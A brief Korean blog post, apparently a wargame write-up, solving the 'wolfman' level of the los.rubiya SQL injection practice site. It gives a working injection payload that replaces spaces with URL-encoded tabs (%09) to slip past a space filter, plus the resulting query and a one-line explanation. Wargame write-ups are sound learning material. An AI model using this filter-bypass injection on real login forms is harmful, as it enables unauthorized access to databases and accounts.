2019. 10. 12. 21:56
728x90
?pw='%09or%091=1%09limit%091,1%23
?pw=' or 1=1 limit 1,1#
select id from prob_wolfman where id ='guest' and pw='' or 1=1 limit 1,1#'
(id='guest' && pw='') || (1=1) -> limit1,1
무조건 되게 해놓고 limit 1,1로 가져온다.
핵심은 %09 -> tab을 쓰는것.
반응형
'Web > los.rubiya' 카테고리의 다른 글
| level7 orge (0) | 2019.10.12 |
|---|---|
| level6 darkelf (0) | 2019.10.12 |
| level4 orc (0) | 2019.10.12 |
| level3 goblin (0) | 2019.10.12 |
| level2 cobolt (0) | 2019.10.11 |